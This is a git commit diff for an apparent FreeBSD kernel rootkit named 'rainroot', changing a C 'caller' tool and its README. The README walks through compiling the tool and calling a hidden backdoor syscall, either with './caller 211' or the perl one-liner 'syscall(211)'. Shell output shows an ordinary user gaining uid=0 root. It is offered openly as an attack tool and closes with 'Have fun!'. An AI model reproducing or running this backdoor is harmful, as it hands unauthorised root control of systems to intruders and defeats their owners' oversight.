This commit is contained in:
your-favorite-hacker
2015-07-05 21:29:26 +02:00
parent 0fc9a7e995
commit 902b8888e8
2 changed files with 13 additions and 9 deletions

View File

@@ -1,8 +1,12 @@
/* yes, this code will segfault if you dont give it an argument */
/* caller c tool
if you do not have a compiler, use perl:
perl -e 'syscall(211);'
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdlib.h>
#include <sys/syscall.h>
void help(){
printf("rainroot caller\nuse appropiate syscallnumber (default: 210)\nexample: ./caller 210\n\nby dash\n");

View File

@@ -27,25 +27,23 @@ No rainroot in kldstat, just the default kernel.
userland
********
userland tool, to call the newly loaded syscall (normally its syscall 210, depending if you got extra syscalls on your box already) In this examples it is syscall nr 211.
# userland tool, to call the newly loaded syscall (normally its syscall 210, depending if you got extra syscalls on your box already) In this examples it is syscall nr 211.
compile it
compile it:
l00ser@crashb0x:/tmp $ gcc48 caller.c -o caller
test for help
test for help:
# ./caller
rainroot caller
use appropiate syscallnumber (default: 210)
example: ./caller 210
execute and get root
execute and get root:
l00ser@crashb0x:/tmp % ./caller 211
l00ser@crashb0x:/tmp % id
uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser)
besides the caller you could also go with every language or operation requesting the syscall. for instance
this perl one-liner:
besides the caller you could also go with every language or operation requesting the syscall. for instance this perl one-liner:
l00ser@crashb0x:~ % id
uid=1001(l00ser) gid=1001(l00ser) groups=1001(l00ser)
@@ -53,6 +51,8 @@ l00ser@crashb0x:~ % perl -e 'syscall(211);'
l00ser@crashb0x:~ % id
uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser)
Have fun!
author
------
dash